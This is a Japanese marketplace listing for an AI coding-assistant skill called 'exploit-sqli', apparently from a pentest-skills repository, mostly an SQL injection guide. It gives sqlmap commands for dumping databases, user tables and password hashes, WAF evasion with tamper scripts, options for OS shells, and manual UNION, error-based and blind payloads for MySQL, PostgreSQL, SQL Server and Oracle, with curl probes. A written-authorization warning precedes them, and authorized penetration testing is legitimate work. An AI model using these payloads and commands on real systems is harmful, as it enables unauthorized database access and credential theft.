mcpField
E
exploit-sqli

exploit-sqli

github.com/crazymarkyセキュリティ34979 回インストール21 週間前に更新
リポジトリ

exploit-sqli について

sqlmap と手動手法による SQL インジェクション検査をまとめたセキュリティテストスキルです。許可を得たテスト向けに、検出、データベース列挙、結果保存の手順を扱います。

主な機能

  1. 01sqlmap による自動テスト
  2. 02複数の DBMS に対応する手動注入手法
  3. 03URL、POST、Cookie、ヘッダーの入力検査
  4. 04データベースとユーザーの列挙手順
  5. 05ペイロード生成とレスポンス分析のスクリプト

活用シーン

  1. 01許可された範囲で Web アプリを評価
  2. 02URL と POST パラメーターの注入を検査
  3. 03検出後にデータベース情報を調査
  4. 04SQL インジェクションの検出結果を保存して報告

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/crazymarky/pentest-skills --skill exploit-sqli

インストール後、Claude Code で/exploit-sqliを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

assets/
common_error_payloads.txt
dbms_fingerprints.txt
time_based_payloads.txt
references/
manual_sqli_techniques.md
nosql_injection.md
sqlmap_guide.md
scripts/
boolean_sqli_tester.py
response_analyzer.py
sqli_payload_generator.py
sqli_storage.py

詳細

SQL インジェクションの検出と悪用

認可に関する警告

危険: SQL インジェクションのテストは、本番データベースのデータを破損または消失させる可能性があります。必ず以下を確認してください。

  • 対象アプリケーションの所有者から書面による許可を得ていること
  • 隔離されたテスト環境があること
  • 影響を受けるシステムのバックアップがあること
  • 現地の規制を遵守していること

許可なく、本番データベースに対して SQL インジェクションのテストを行わないでください。

前提条件

システムにインストールが必要なツール:

  • sqlmap - pip install sqlmap または git clone https://github.com/sqlmapproject/sqlmap

オプションのツール:

  • BBQSQL - 半自動の SQL インジェクションツール
  • NoSQLMap - NoSQL インジェクションテスト

クイックスタート

SQL インジェクションテストで最もよく使われるコマンド:

SQLMap による自動スキャン
sqlmap -u "https://target.com/page?id=1"
POST リクエストのテスト
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
Cookie のテスト
sqlmap -u "https://target.com" --cookie="sessionid=abc123"

よくあるシナリオ

シナリオ 1:基本的なパラメーターのテスト

URL パラメーターの SQL インジェクションをテストする場合:

sqlmap -u "https://target.com/page?id=1"

パラメーター:

  • -u - 対象 URL
  • -p - テストする特定のパラメーター(デフォルト:すべて)
  • --batch - 対話型プロンプトを回避
  • --random-agent - ランダムな User-Agent を使用

例:

sqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent

シナリオ 2:POST リクエストへのインジェクション

POST 本文のパラメーターをテストする場合:

sqlmap -u "https://target.com/login" --data="username=admin&password=test"

ファイルから指定する場合:

sqlmap -u "https://target.com/login" -d post_data.txt

シナリオ 3:Cookie/ヘッダーへのインジェクション

Cookie またはヘッダーをテストする場合:

# Cookie injection
sqlmap -u "https://target.com" --cookie="sessionid=abc123"

# User-Agent injection
sqlmap -u "https://target.com" --headers="User-Agent: sqlmap"

# Referer injection
sqlmap -u "https://target.com" --referer="https://evil.com"

複数のヘッダー:

sqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"

シナリオ 4:特定の DBMS のテスト

データベースの種類が分かっている、または推測できる場合:

sqlmap -u "https://target.com/page?id=1" --dbms=mysql
sqlmap -u "https://target.com/page?id=1" --dbms=postgresql
sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver
sqlmap -u "https://target.com/page?id=1" --dbms=oracle

シナリオ 5:データベースの列挙

データベースの情報を抽出する場合:

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

# List tables
sqlmap -u "https://target.com/page?id=1" -D dbname --tables

# Dump table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump

# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all

シナリオ 6:ユーザーの列挙

ユーザーの認証情報を抽出する場合:

# Enumerate database users
sqlmap -u "https://target.com/page?id=1" --users

# Extract password hashes
sqlmap -u "https://target.com/page?id=1" --passwords

# Dump users table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump

シナリオ 7:UNION ベースの SQL インジェクション

UNION ベースの SQLi を手動でテストします。

# Test for SQL injection with payload
https://target.com/page?id=1' OR '1'='1
https://target.com/page?id=1' UNION SELECT 1,2,3--
https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--

カラム数の特定:

id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3--

文字列と整数のどちらかを確認:

id=1' UNION SELECT 1,'2',3--
id=1' UNION SELECT 1,NULL,NULL--

シナリオ 8:エラーベースの SQL インジェクション

エラーメッセージが表示される場合:

# MySQL error injection
id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--
id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
id=1' AND exp(~(SELECT * FROM (SELECT database())a))--

# PostgreSQL error injection
id=1' AND cast(version() as int)--
id=1'; CAST(version() AS INT)--

シナリオ 9:ブラインド SQL インジェクション

エラーメッセージが返されない場合:

ブールベース:

id=1' AND 1=1--
id=1' AND 1=2--

時間ベース(MySQL):

id=1' AND SLEEP(5)--
id=1' AND BENCHMARK(5000000, MD5(1))--

時間ベース(PostgreSQL):

id=1'; SELECT pg_sleep(5)--
id=1'; SELECT extract(epoch from now())-

シナリオ 10:WAF の回避

WAF がインジェクションの試行をブロックする場合:

# Use tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comments

# Use random agent
sqlmap -u "https://target.com/page?id=1" --random-agent

# Different level
sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1

# Specific technique
sqlmap -u "https://target.com/page?id=1" --technique=U

インジェクションテストのワークフロー

1. 初期検出
# Automated scan
sqlmap -u "https://target.com/page?id=1" --batch

# Manual quick test
curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax"
curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"
2. 確認
# Confirm with multiple payloads
curl "https://target.com/page?id=1 AND 1=1"
curl "https://target.com/page?id=1 AND 1=2"
curl "https://target.com/page?id=1' OR '1'='1"
3. データベースのフィンガープリント
sqlmap -u "https://target.com/page?id=1" --current-user
4. 列挙
# Get database info
sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

SQLMap オプションリファレンス

オプション説明
-u対象 URL
-rログファイルを解析
-lファイルから読み込み
-m複数の対象をスキャン
-p特定のパラメーターをテスト
--skipパラメーターをスキップ
--dbmsDBMS を強制指定
--osOS を強制指定
--tamper改変スクリプト
--levelテストレベル(1-5)
--riskリスクレベル(1-3)
--technique特定の手法(B/E/U/S/T)
--batch非対話型
--random-agentランダムな User-Agent
--proxyプロキシを使用
--delayリクエスト間の遅延
--timeoutリクエストのタイムアウト
--retries再試行回数
--string文字列に一致
--not-string文字列に一致しない
--regexp正規表現フィルター
--grepページ用の正規表現フィルター
--crawlサイトをクロール
--formsフォームを解析
--cookieCookie の値
--headers追加ヘッダー
--user-agentカスタム User-Agent
--methodメソッドを強制指定
--dataPOST データ
-dファイルから POST データを指定
--dbsデータベースを列挙
--tablesテーブルを列挙
--columnsカラムを列挙
--schemaスキーマを列挙
--dumpデータをダンプ
--dump-allすべてをダンプ
--search検索
--usersDB ユーザーを列挙
--passwordsパスワードハッシュを列挙
--priv-esc権限昇格
--os-shellOS シェル
--os-pwnMeterpreter/OBM シェル
--sql-shellSQL シェル
--wizardウィザードモード
-v詳細度(0-6)

手動ペイロード

MySQL ペイロード
-- Version detection
' UNION SELECT @@version--

-- Current user
' UNION SELECT user()--

-- Current database
' UNION SELECT database()--

-- All databases
' UNION SELECT schema_name FROM information_schema.schemata--

-- Tables from database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

-- Columns from table
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Concatenate data
' UNION SELECT CONCAT(username,0x3a,password) FROM users--
PostgreSQL ペイロード
-- Version
' UNION SELECT version()--

-- Current user
' UNION SELECT user--

-- Current database
' UNION SELECT current_database()--

-- All databases
' UNION SELECT datname FROM pg_database--

-- Tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
SQL Server ペイロード
-- Version
' UNION SELECT @@version--

-- Database
' UNION SELECT DB_NAME()--

-- Tables
' UNION SELECT table_name FROM information_schema.tables--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Databases
' UNION SELECT name FROM master..sysdatabases--
Oracle ペイロード
-- Version
' UNION SELECT banner FROM v$version--

-- Tables
' UNION SELECT table_name FROM all_tables WHERE owner=USER--

-- Columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--

テストチェックリスト

  • URL パラメーター
  • POST パラメーター
  • Cookie
  • User-Agent
  • Referer
  • X-Forwarded-For
  • Accept ヘッダー
  • JSON ボディフィールド
  • GraphQL クエリ
  • API エンドポイント

シナリオ:SQL インジェクションの検出結果を永続的に保存する

SQL インジェクションの検出結果をデータベースに永続的に保存する必要がある場合:

# Manual entry after discovering SQL injection
python .claude/skills/exploit-sqli/scripts/sqli_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/login?id=1" \
  --parameter id \
  --payload "1' OR '1'='1" \
  --severity Critical \
  --cvss-score 9.8 \
  --db-type MySQL \
  --subsystem "Web Application"

パラメーター:

  • --host-ip - 対象ホストの IP(必須)
  • --url - 脆弱性のある URL(必須)
  • --parameter - 脆弱性のあるパラメーター名(必須)
  • --payload - 使用したペイロード(必須)
  • --severity - 深刻度(デフォルト:High)
  • --cvss-score - CVSS スコア(0.0~10.0)
  • --db-type - データベースの種類(例:MySQL、PostgreSQL)
  • --subsystem - サブシステム名(任意)
  • --title - 脆弱性のタイトル(指定されていない場合は自動生成)
  • --description - 脆弱性の説明

データベースの場所: ./data/results.db

関連スキル: results-storage - データのクエリ、レポートの生成


リソース

スクリプト
  • scripts/sqli_payload_generator.py - SQL インジェクションのペイロードを生成
  • scripts/boolean_sqli_tester.py - ブラインド SQL インジェクションをテスト
  • scripts/response_analyzer.py - インジェクションの手掛かりがないかレスポンスを分析
リファレンス
  • references/sqlmap_guide.md - SQLMap の包括的なリファレンス
  • references/manual_sqli_techniques.md - 手動インジェクションの手法
  • references/nosql_injection.md - NoSQL インジェクションガイド
アセット
  • assets/common_error_payloads.txt - 一般的なエラーベースのペイロード
  • assets/time-based_payloads.txt - 時間ベースのブラインドペイロード
  • assets/dbms_fingerprints.txt - データベースフィンガープリントのパターン

コメント